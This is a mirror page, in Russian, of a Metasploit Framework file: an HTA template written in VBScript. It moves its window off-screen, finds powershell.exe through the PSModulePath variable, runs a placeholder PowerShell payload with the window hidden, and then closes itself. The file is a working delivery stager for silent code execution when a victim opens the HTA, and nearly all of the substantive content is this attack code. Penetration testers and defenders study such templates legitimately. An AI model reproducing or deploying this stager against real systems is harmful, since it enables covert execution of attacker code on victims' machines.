/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
data/templates/scripts/to_powershell.hta.template
12 строк
423 B
Brent Cook
Merge remote-tracking branch 'upstream/pr/8299' into land-8267-
21 авг 2017, 01:43
21 авг 2017, 01:43
d5a5321
Код
Авторство
О чём код?
<script language="VBScript"> window.moveTo -4000, -4000 Set %{var_shell} = CreateObject("Wscript.Shell") Set %{var_fso} = CreateObject("Scripting.FileSystemObject") For each path in Split(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%"),";") If %{var_fso}.FileExists(path + "\..\powershell.exe") Then %{var_shell}.Run "%{powershell}",0 Exit For End If Next window.close() </script>